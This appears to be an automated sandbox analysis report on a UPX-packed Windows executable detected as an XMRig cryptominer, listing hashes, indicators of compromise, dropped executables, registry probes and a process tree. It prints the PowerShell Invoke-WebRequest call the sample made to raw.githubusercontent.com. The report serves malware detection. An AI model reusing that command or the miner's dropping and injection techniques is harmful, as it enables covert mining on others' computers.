xmrig | 1fea46727e2a69874b6a4b52a1c4686438767716f32397bba1dfb117b1f60662

Analysis

max time kernel
93s
max time network
94s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
08-05-2024 14:40

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
Size

1.6MB
MD5

de4d30d5a41ffd6311b60f0b884f0c60
SHA1

8c79d88a82a31dc6120296b61ad7217af93cb659
SHA256

1fea46727e2a69874b6a4b52a1c4686438767716f32397bba1dfb117b1f60662
SHA512

2e977dcd0240b376cb3c599fe523b120b5c62bdc2312434d02cbbf0af0a9b94bc79804a94f7ddf230793b72e23e6ca0ce07778cf8229ee80af9c46f9d53e249a
SSDEEP

24576:zv3/fTLF671TilQFG4P5PMkUCCWvLEvj7NaVNqd9OeSZXCdzvd4/iooIXiBLm:Lz071uv4BPMkHC0IaSEzQR4iRlm

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 48 IoCs

miner

resource	yara_rule
behavioral2/memory/824-117-0x00007FF6E6490000-0x00007FF6E6882000-memory.dmp	xmrig
behavioral2/memory/1260-135-0x00007FF785C50000-0x00007FF786042000-memory.dmp	xmrig
behavioral2/memory/3564-172-0x00007FF666A10000-0x00007FF666E02000-memory.dmp	xmrig
behavioral2/memory/1740-166-0x00007FF683E90000-0x00007FF684282000-memory.dmp	xmrig
behavioral2/memory/3960-160-0x00007FF6858C0000-0x00007FF685CB2000-memory.dmp	xmrig
behavioral2/memory/1876-154-0x00007FF62A330000-0x00007FF62A722000-memory.dmp	xmrig
behavioral2/memory/2928-148-0x00007FF632EB0000-0x00007FF6332A2000-memory.dmp	xmrig
behavioral2/memory/5068-142-0x00007FF764CA0000-0x00007FF765092000-memory.dmp	xmrig
behavioral2/memory/3824-141-0x00007FF7E3430000-0x00007FF7E3822000-memory.dmp	xmrig
behavioral2/memory/1356-129-0x00007FF62EBD0000-0x00007FF62EFC2000-memory.dmp	xmrig
behavioral2/memory/2380-123-0x00007FF673020000-0x00007FF673412000-memory.dmp	xmrig
behavioral2/memory/3812-111-0x00007FF79D890000-0x00007FF79DC82000-memory.dmp	xmrig
behavioral2/memory/3932-107-0x00007FF74F680000-0x00007FF74FA72000-memory.dmp	xmrig
behavioral2/memory/4416-106-0x00007FF60BD60000-0x00007FF60C152000-memory.dmp	xmrig
behavioral2/memory/3144-100-0x00007FF7572E0000-0x00007FF7576D2000-memory.dmp	xmrig
behavioral2/memory/4820-95-0x00007FF6E6F10000-0x00007FF6E7302000-memory.dmp	xmrig
behavioral2/memory/5052-91-0x00007FF739940000-0x00007FF739D32000-memory.dmp	xmrig
behavioral2/memory/4108-85-0x00007FF7AA1A0000-0x00007FF7AA592000-memory.dmp	xmrig
behavioral2/memory/1944-73-0x00007FF7EFAB0000-0x00007FF7EFEA2000-memory.dmp	xmrig
behavioral2/memory/3164-43-0x00007FF746430000-0x00007FF746822000-memory.dmp	xmrig
behavioral2/memory/412-1960-0x00007FF759000000-0x00007FF7593F2000-memory.dmp	xmrig
behavioral2/memory/224-1962-0x00007FF78B7E0000-0x00007FF78BBD2000-memory.dmp	xmrig
behavioral2/memory/2776-1961-0x00007FF768C30000-0x00007FF769022000-memory.dmp	xmrig
behavioral2/memory/3528-1989-0x00007FF76F4E0000-0x00007FF76F8D2000-memory.dmp	xmrig
behavioral2/memory/3164-2008-0x00007FF746430000-0x00007FF746822000-memory.dmp	xmrig
behavioral2/memory/412-2010-0x00007FF759000000-0x00007FF7593F2000-memory.dmp	xmrig
behavioral2/memory/5052-2012-0x00007FF739940000-0x00007FF739D32000-memory.dmp	xmrig
behavioral2/memory/4108-2014-0x00007FF7AA1A0000-0x00007FF7AA592000-memory.dmp	xmrig
behavioral2/memory/4820-2016-0x00007FF6E6F10000-0x00007FF6E7302000-memory.dmp	xmrig
behavioral2/memory/3528-2018-0x00007FF76F4E0000-0x00007FF76F8D2000-memory.dmp	xmrig
behavioral2/memory/2776-2020-0x00007FF768C30000-0x00007FF769022000-memory.dmp	xmrig
behavioral2/memory/4416-2029-0x00007FF60BD60000-0x00007FF60C152000-memory.dmp	xmrig
behavioral2/memory/1944-2030-0x00007FF7EFAB0000-0x00007FF7EFEA2000-memory.dmp	xmrig
behavioral2/memory/3144-2032-0x00007FF7572E0000-0x00007FF7576D2000-memory.dmp	xmrig
behavioral2/memory/2380-2036-0x00007FF673020000-0x00007FF673412000-memory.dmp	xmrig
behavioral2/memory/824-2035-0x00007FF6E6490000-0x00007FF6E6882000-memory.dmp	xmrig
behavioral2/memory/3812-2027-0x00007FF79D890000-0x00007FF79DC82000-memory.dmp	xmrig
behavioral2/memory/224-2023-0x00007FF78B7E0000-0x00007FF78BBD2000-memory.dmp	xmrig
behavioral2/memory/3932-2025-0x00007FF74F680000-0x00007FF74FA72000-memory.dmp	xmrig
behavioral2/memory/1260-2049-0x00007FF785C50000-0x00007FF786042000-memory.dmp	xmrig
behavioral2/memory/1740-2052-0x00007FF683E90000-0x00007FF684282000-memory.dmp	xmrig
behavioral2/memory/3564-2054-0x00007FF666A10000-0x00007FF666E02000-memory.dmp	xmrig
behavioral2/memory/1356-2050-0x00007FF62EBD0000-0x00007FF62EFC2000-memory.dmp	xmrig
behavioral2/memory/3824-2047-0x00007FF7E3430000-0x00007FF7E3822000-memory.dmp	xmrig
behavioral2/memory/5068-2045-0x00007FF764CA0000-0x00007FF765092000-memory.dmp	xmrig
behavioral2/memory/2928-2043-0x00007FF632EB0000-0x00007FF6332A2000-memory.dmp	xmrig
behavioral2/memory/3960-2039-0x00007FF6858C0000-0x00007FF685CB2000-memory.dmp	xmrig
behavioral2/memory/1876-2041-0x00007FF62A330000-0x00007FF62A722000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2068	powershell.exe
5	2068	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2068	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
412	zCgWiQs.exe
3164	CMUruSp.exe
4108	sJpcGqA.exe
5052	zDWhpjw.exe
3528	dxwkXzv.exe
2776	pqePmcy.exe
224	FxgtmJJ.exe
1944	eHGkKsk.exe
4820	UrvWIFk.exe
3144	ycqHzvJ.exe
4416	dbtzYWg.exe
3812	pMTynxS.exe
3932	PBTOjKU.exe
824	YrfxDKM.exe
2380	OdDztJR.exe
1356	MJDeZRg.exe
1260	ixuLTcs.exe
3824	tkYagGA.exe
5068	RNWrbkm.exe
2928	jxhyYeU.exe
1876	wYWklIf.exe
3960	QudxBPe.exe
1740	EqlokUc.exe
3564	PgouBEY.exe
4124	azpKBnu.exe
4500	AmkZqey.exe
632	izRVAjn.exe
3928	DEybapm.exe
1996	WyqDgtK.exe
4080	sANMaOh.exe
4728	ldjtfUB.exe
4812	RNlgrhV.exe
1672	UHrICvR.exe
1116	qDkkQFJ.exe
3056	TaiggEw.exe
4144	jFmgMrl.exe
5000	qqMrJao.exe
3196	uLWWkzq.exe
1196	uyfJYOm.exe
4060	QGFfUgi.exe
4028	gVfRnmP.exe
4764	AAtUKvm.exe
336	PALqnWo.exe
3724	nRATtNM.exe
2564	RuiWfIc.exe
3492	vSUXqLm.exe
2384	IIVbzCC.exe
2616	mUYLwVL.exe
2412	zHfGXbo.exe
1704	BiPMPhU.exe
1708	JWDhCrr.exe
4908	VwgnoWK.exe
64	dZoqxmg.exe
4344	agHpWJm.exe
1136	PBzvcbR.exe
4804	GNSLKZG.exe
1188	VWmXqfr.exe
3240	NCtALXC.exe
1012	TjGytYG.exe
4920	pdTZrMK.exe
1152	VpslMcm.exe
3172	wWlOaSA.exe
3712	oUAeavW.exe
4648	TxZfZQw.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4744-0-0x00007FF7BCE50000-0x00007FF7BD242000-memory.dmp	upx
behavioral2/files/0x0008000000023422-7.dat	upx
behavioral2/files/0x0007000000023426-40.dat	upx
behavioral2/files/0x0007000000023425-49.dat	upx
behavioral2/files/0x0007000000023428-65.dat	upx
behavioral2/files/0x0008000000023423-70.dat	upx
behavioral2/files/0x000700000002342b-74.dat	upx
behavioral2/files/0x000700000002342c-81.dat	upx
behavioral2/files/0x000700000002342d-87.dat	upx
behavioral2/memory/824-117-0x00007FF6E6490000-0x00007FF6E6882000-memory.dmp	upx
behavioral2/files/0x0007000000023430-124.dat	upx
behavioral2/memory/1260-135-0x00007FF785C50000-0x00007FF786042000-memory.dmp	upx
behavioral2/files/0x0007000000023435-145.dat	upx
behavioral2/files/0x000700000002343b-180.dat	upx
behavioral2/files/0x000700000002343d-198.dat	upx
behavioral2/files/0x000700000002343f-200.dat	upx
behavioral2/files/0x000700000002343e-195.dat	upx
behavioral2/files/0x000700000002343c-193.dat	upx
behavioral2/files/0x000700000002343a-183.dat	upx
behavioral2/files/0x0007000000023439-178.dat	upx
behavioral2/files/0x0007000000023438-173.dat	upx
behavioral2/memory/3564-172-0x00007FF666A10000-0x00007FF666E02000-memory.dmp	upx
behavioral2/files/0x0007000000023437-167.dat	upx
behavioral2/memory/1740-166-0x00007FF683E90000-0x00007FF684282000-memory.dmp	upx
behavioral2/files/0x0007000000023436-161.dat	upx
behavioral2/memory/3960-160-0x00007FF6858C0000-0x00007FF685CB2000-memory.dmp	upx
behavioral2/memory/1876-154-0x00007FF62A330000-0x00007FF62A722000-memory.dmp	upx
behavioral2/files/0x0007000000023434-149.dat	upx
behavioral2/memory/2928-148-0x00007FF632EB0000-0x00007FF6332A2000-memory.dmp	upx
behavioral2/files/0x0007000000023433-143.dat	upx
behavioral2/memory/5068-142-0x00007FF764CA0000-0x00007FF765092000-memory.dmp	upx
behavioral2/memory/3824-141-0x00007FF7E3430000-0x00007FF7E3822000-memory.dmp	upx
behavioral2/files/0x0007000000023432-136.dat	upx
behavioral2/files/0x0007000000023431-130.dat	upx
behavioral2/memory/1356-129-0x00007FF62EBD0000-0x00007FF62EFC2000-memory.dmp	upx
behavioral2/memory/2380-123-0x00007FF673020000-0x00007FF673412000-memory.dmp	upx
behavioral2/files/0x000700000002342f-118.dat	upx
behavioral2/files/0x000700000002342e-112.dat	upx
behavioral2/memory/3812-111-0x00007FF79D890000-0x00007FF79DC82000-memory.dmp	upx
behavioral2/memory/3932-107-0x00007FF74F680000-0x00007FF74FA72000-memory.dmp	upx
behavioral2/memory/4416-106-0x00007FF60BD60000-0x00007FF60C152000-memory.dmp	upx
behavioral2/files/0x0008000000023420-101.dat	upx
behavioral2/memory/3144-100-0x00007FF7572E0000-0x00007FF7576D2000-memory.dmp	upx
behavioral2/memory/4820-95-0x00007FF6E6F10000-0x00007FF6E7302000-memory.dmp	upx
behavioral2/memory/5052-91-0x00007FF739940000-0x00007FF739D32000-memory.dmp	upx
behavioral2/memory/4108-85-0x00007FF7AA1A0000-0x00007FF7AA592000-memory.dmp	upx
behavioral2/files/0x000700000002342a-75.dat	upx
behavioral2/memory/1944-73-0x00007FF7EFAB0000-0x00007FF7EFEA2000-memory.dmp	upx
behavioral2/memory/224-67-0x00007FF78B7E0000-0x00007FF78BBD2000-memory.dmp	upx
behavioral2/files/0x0007000000023427-63.dat	upx
behavioral2/files/0x0008000000023424-55.dat	upx
behavioral2/memory/2776-54-0x00007FF768C30000-0x00007FF769022000-memory.dmp	upx
behavioral2/files/0x0007000000023429-53.dat	upx
behavioral2/memory/3528-45-0x00007FF76F4E0000-0x00007FF76F8D2000-memory.dmp	upx
behavioral2/memory/3164-43-0x00007FF746430000-0x00007FF746822000-memory.dmp	upx
behavioral2/memory/412-33-0x00007FF759000000-0x00007FF7593F2000-memory.dmp	upx
behavioral2/files/0x000800000002341f-26.dat	upx
behavioral2/files/0x0008000000022f51-24.dat	upx
behavioral2/memory/412-1960-0x00007FF759000000-0x00007FF7593F2000-memory.dmp	upx
behavioral2/memory/224-1962-0x00007FF78B7E0000-0x00007FF78BBD2000-memory.dmp	upx
behavioral2/memory/2776-1961-0x00007FF768C30000-0x00007FF769022000-memory.dmp	upx
behavioral2/memory/3528-1989-0x00007FF76F4E0000-0x00007FF76F8D2000-memory.dmp	upx
behavioral2/memory/3164-2008-0x00007FF746430000-0x00007FF746822000-memory.dmp	upx
behavioral2/memory/412-2010-0x00007FF759000000-0x00007FF7593F2000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
3	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\BrFrhJa.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\HVdCHpL.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\mhlxvDq.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\CqmRTxH.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\LMKGmBN.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\mzKhmSe.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\QECAWuU.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\uQCammm.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\nlfZcIS.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\XkvHbyG.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\fcOQrcg.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\ySBMxrq.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\ahkKsYa.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\EcSpbSF.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\XHKEYvS.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\neWzGOv.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\oOCWVHX.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\aQqWyUx.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\dEbNjuH.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\zWZAbFK.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\edscYzq.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\nNmVaLE.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\ZIWUBiY.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\vJAUBEx.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\WmrjPTH.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\PgouBEY.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\FwSyjmD.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\vLjnAWh.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\PElUqTp.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\OBDuTAH.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\rPbSEaw.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\krJESAY.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\EQQxXey.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\JtqtJQp.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\wVfNtsN.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\qvBHDvU.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\sugFnLA.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\jJBaQtF.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\thHQTkf.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\QcobclB.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\SGpxalW.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\XAUfWPr.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\uozztjM.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\OwIFMBC.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\FPWjpza.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\sdCWNRx.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\WqzfDbn.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\NARNKLg.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\zxxuFpw.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\wMDRsPl.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\mwCfWVz.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\pBFWkIy.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\FNOpcDg.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\dKPcyXg.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\FxUJQLW.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\EsRGXyV.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\fZSPfYY.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\fSHKvTT.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\BzmfcLI.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\psptVmD.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\nPSaKOh.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\wneLbEl.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\cxnwUvH.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
File created	C:\Windows\System\ErVRdyh.exe	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wermgr.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	wermgr.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2068	powershell.exe
2068	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
Token: SeDebugPrivilege	2068	powershell.exe
Token: SeLockMemoryPrivilege	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4744 wrote to memory of 2068	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	79
PID 4744 wrote to memory of 2068	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	79
PID 4744 wrote to memory of 412	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	80
PID 4744 wrote to memory of 412	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	80
PID 4744 wrote to memory of 3164	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	81
PID 4744 wrote to memory of 3164	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	81
PID 4744 wrote to memory of 4108	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	82
PID 4744 wrote to memory of 4108	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	82
PID 4744 wrote to memory of 5052	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	83
PID 4744 wrote to memory of 5052	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	83
PID 4744 wrote to memory of 3528	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	84
PID 4744 wrote to memory of 3528	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	84
PID 4744 wrote to memory of 2776	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	85
PID 4744 wrote to memory of 2776	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	85
PID 4744 wrote to memory of 224	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	86
PID 4744 wrote to memory of 224	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	86
PID 4744 wrote to memory of 1944	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	87
PID 4744 wrote to memory of 1944	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	87
PID 4744 wrote to memory of 4820	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	88
PID 4744 wrote to memory of 4820	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	88
PID 4744 wrote to memory of 3144	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	89
PID 4744 wrote to memory of 3144	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	89
PID 4744 wrote to memory of 4416	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	90
PID 4744 wrote to memory of 4416	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	90
PID 4744 wrote to memory of 3812	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	91
PID 4744 wrote to memory of 3812	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	91
PID 4744 wrote to memory of 3932	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	92
PID 4744 wrote to memory of 3932	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	92
PID 4744 wrote to memory of 824	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	93
PID 4744 wrote to memory of 824	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	93
PID 4744 wrote to memory of 2380	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	94
PID 4744 wrote to memory of 2380	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	94
PID 4744 wrote to memory of 1356	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	95
PID 4744 wrote to memory of 1356	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	95
PID 4744 wrote to memory of 1260	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	96
PID 4744 wrote to memory of 1260	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	96
PID 4744 wrote to memory of 3824	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	97
PID 4744 wrote to memory of 3824	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	97
PID 4744 wrote to memory of 5068	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	98
PID 4744 wrote to memory of 5068	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	98
PID 4744 wrote to memory of 2928	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	99
PID 4744 wrote to memory of 2928	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	99
PID 4744 wrote to memory of 1876	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	100
PID 4744 wrote to memory of 1876	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	100
PID 4744 wrote to memory of 3960	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	101
PID 4744 wrote to memory of 3960	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	101
PID 4744 wrote to memory of 1740	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	102
PID 4744 wrote to memory of 1740	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	102
PID 4744 wrote to memory of 3564	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	103
PID 4744 wrote to memory of 3564	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	103
PID 4744 wrote to memory of 4124	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	104
PID 4744 wrote to memory of 4124	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	104
PID 4744 wrote to memory of 4500	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	105
PID 4744 wrote to memory of 4500	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	105
PID 4744 wrote to memory of 632	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	106
PID 4744 wrote to memory of 632	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	106
PID 4744 wrote to memory of 3928	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	107
PID 4744 wrote to memory of 3928	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	107
PID 4744 wrote to memory of 1996	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	108
PID 4744 wrote to memory of 1996	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	108
PID 4744 wrote to memory of 4080	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	109
PID 4744 wrote to memory of 4080	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	109
PID 4744 wrote to memory of 4728	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	110
PID 4744 wrote to memory of 4728	4744	de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe	110

C:\Users\Admin\AppData\Local\Temp\de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe
"C:\Users\Admin\AppData\Local\Temp\de4d30d5a41ffd6311b60f0b884f0c60_NEIKI.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2068
- - C:\Windows\system32\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "2068" "2928" "2888" "2932" "0" "0" "2936" "0" "0" "0" "0" "0"
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:12676
- C:\Windows\System\zCgWiQs.exe
  C:\Windows\System\zCgWiQs.exe
  2⤵
  - Executes dropped EXE
  PID:412
- C:\Windows\System\CMUruSp.exe
  C:\Windows\System\CMUruSp.exe
  2⤵
  - Executes dropped EXE
  PID:3164
- C:\Windows\System\sJpcGqA.exe
  C:\Windows\System\sJpcGqA.exe
  2⤵
  - Executes dropped EXE
  PID:4108
- C:\Windows\System\zDWhpjw.exe
  C:\Windows\System\zDWhpjw.exe
  2⤵
  - Executes dropped EXE
  PID:5052
- C:\Windows\System\dxwkXzv.exe
  C:\Windows\System\dxwkXzv.exe
  2⤵
